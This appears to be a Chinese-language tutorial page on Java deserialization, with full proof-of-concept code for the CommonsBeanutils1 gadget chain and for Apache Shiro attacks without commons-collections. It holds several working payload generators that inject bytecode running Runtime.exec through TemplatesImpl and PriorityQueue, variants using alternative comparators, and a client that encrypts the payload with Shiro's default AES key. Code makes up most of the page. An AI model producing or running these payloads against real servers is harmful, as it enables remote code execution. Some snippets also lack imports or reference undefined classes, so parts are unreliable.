import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1 {
    public static void main(String[] args) throws Exception{
        // 实例化一个BeanComparator对象
        BeanComparator beanComparator = new BeanComparator();
        setFieldValue(beanComparator, "property", "outputProperties");
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 通过反射设置字段的值为二维字节数组
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);
        // 实例化PriorityQueue对象
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        // 通过add建立size为2的数组
        priorityQueue.add(templates);priorityQueue.add(templates);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
            outputStream.writeObject(priorityQueue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

无依赖Shiro反序列化

当Shiro脱离CommonsCollections时, 其本身还是可以进行反序列化, 而且依赖中仍存在 commons-banutils。

在没有commons-collections下使用BeanComparator去建立Shiro反序列化会发现如下的问题

1642408007365

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

我们可以跟进BeanComparator类会发现不包含ComparableComparator类

1642408277009

在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator。

    public BeanComparator( String property ) {
        this( property, ComparableComparator.getInstance() );
    }

既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件

  1. 实现 java.util.Comparator 接口

  2. 实现 java.io.Serializable 接口

  3. Java、shiro或commons-beanutils自带,且兼容性强

可以找打继承Comparator方法的类

CaseInsensitiveComparator
ReverseComparator
AttarComparator

CaseInsensitiveComparator

通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator

    public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }

        /** Replaces the de-serialized object. */
        private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
    }

POC

package CommonsBeanutils;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1 {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(templates, "_name", "EvilTemplatesImpl");
        setFieldValue(templates, "_class", null);
        // 实例化一个BeanComparator对象
        final BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        // 实例化PriorityQueue对象
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        // stub data for replacement later
        priorityQueue.add("1");priorityQueue.add("2");
        /**换用继承会触发一些顺序上的问题*/
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        return barr.toByteArray();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

加密调用

package CommonsBeanutils;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client1 {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Evil.class.getName());
//        byte[] payloads = new CommonsBeanutils1().getPayload(clazz.toBytecode());
        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext.toString());
    }
}

触发效果

CaseInsensitiveComparator

ReverseComparator

通过 Collections#reverseOrder() 即可拿到上下文中的 ReverseComparator 对象,用它来实例化 BeanComparator

    public static <T> Comparator<T> reverseOrder() {
        return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
    }

    /**
     * @serial include
     */
    private static class ReverseComparator
        implements Comparator<Comparable<Object>>, Serializable {

        private static final long serialVersionUID = 7207038068494060240L;

        static final ReverseComparator REVERSE_ORDER
            = new ReverseComparator();

        public int compare(Comparable<Object> c1, Comparable<Object> c2) {
            return c2.compareTo(c1);
        }

        private Object readResolve() { return Collections.reverseOrder(); }

        @Override
        public Comparator<Comparable<Object>> reversed() {
            return Comparator.naturalOrder();
        }
    }

修改处

/**使用ReverseComparator类*/
final BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
final BeanComparator beanComparator = new BeanComparator(null, Comparator.reverseOrder().reversed());
final BeanComparator beanComparator = new BeanComparator(null, Comparator.naturalOrder().reversed());

AttrCompare

PriorityQueue#add()处需要添加带参数且继承Attr接口的类

AttrNSImpl
PSVIAttrNSImpl

有参构造可参考需要的参数, 这两个类需要的参数是相同的

AttrNSImpl(CoreDocumentImpl ownerDocument,
                         String namespaceURI,
                         String qualifiedName,
                         String localName)

POC

package CommonsBeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xerces.internal.dom.*;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils2_AttrComparator {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(templates, "_name", "EvilTemplatesImpl");
        setFieldValue(templates, "_class", null);

        // 需要带参数且继承Attr接口 AttrNSImpl 有参构造
        AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(), "1", "1", "1");
        // PSVIAttrNSImpl 有参构造
        PSVIAttrNSImpl psviAttrNS = new PSVIAttrNSImpl(new CoreDocumentImpl(), "1", "1", "1");

        /**使用AttrComparator类*/
        final BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
        // stub data for replacement later
        priorityQueue.add(psviAttrNS);priorityQueue.add(psviAttrNS);
        /**换用继承会触发一些顺序上的问题*/
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        return barr.toByteArray();
    }
}

还有一些可用的Comparabtor是建立在依赖的基础上

org.apache.commons.lang3.compare.ObjectToStringComparator

<dependency>
   <groupId>org.apache.commons</groupId>
   <artifactId>commons-lang3</artifactId>
   <version>3.12.0</version>
</dependency>
↓↓↓
// ObjectToStringComparator stringComparator = new ObjectToStringComparator();
        final BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
        // stub data for replacement later
        priorityQueue.add("1");priorityQueue.add("2");
        /**换用继承会触发一些顺序上的问题*/
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

org.apache.logging.log4j.util.PropertySource

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.13.3</version>
</dependency>
↓↓↓
/**使用PropertySource.Comparator类*/
        final PropertySource propertySource = new PropertySource() {
            public int getPriority() {
                return 0;
            }
        };

        final BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
        // stub data for replacement later
        priorityQueue.add(propertySource);priorityQueue.add(propertySource);
        /**换用继承会触发一些顺序上的问题*/
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

ObjectToStringComparator

依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-lang3</artifactId>
    <version>3.12.0</version>
</dependency>

POC

package CommonsBeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
/**
 * <dependency>
 *   <groupId>org.apache.commons</groupId>
 *   <artifactId>commons-lang3</artifactId>
 *   <version>3.12.0</version>
 * </dependency>
 * */
import org.apache.commons.lang3.compare.ObjectToStringComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils2_ObjectToStringComparator {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(templates, "_name", "EvilTemplatesImpl");
        setFieldValue(templates, "_class", null);


        /**使用ObjectToStringComparator类*/
        // ObjectToStringComparator stringComparator = new ObjectToStringComparator();
        final BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
        // stub data for replacement later
        priorityQueue.add("1");priorityQueue.add("2");
        /**换用继承会触发一些顺序上的问题*/
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        return barr.toByteArray();
    }
}

PropertySource

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.13.3</version>
</dependency>

POC

package CommonsBeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.logging.log4j.util.PropertySource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils2_PropertySource {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(templates, "_name", "EvilTemplatesImpl");
        setFieldValue(templates, "_class", null);

        AttrNSImpl attrNS1 = new AttrNSImpl();
        CoreDocumentImpl coreDocument = new CoreDocumentImpl();
        attrNS1.setValues(coreDocument, "1", "1", "1");

        /**使用PropertySource.Comparator类*/
        final PropertySource propertySource = new PropertySource() {
            public int getPriority() {
                return 0;
            }
        };

        final BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
        // stub data for replacement later
        priorityQueue.add(propertySource);priorityQueue.add(propertySource);
        /**换用继承会触发一些顺序上的问题*/
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();

        return barr.toByteArray();
    }
}

results matching ""

    No results matching ""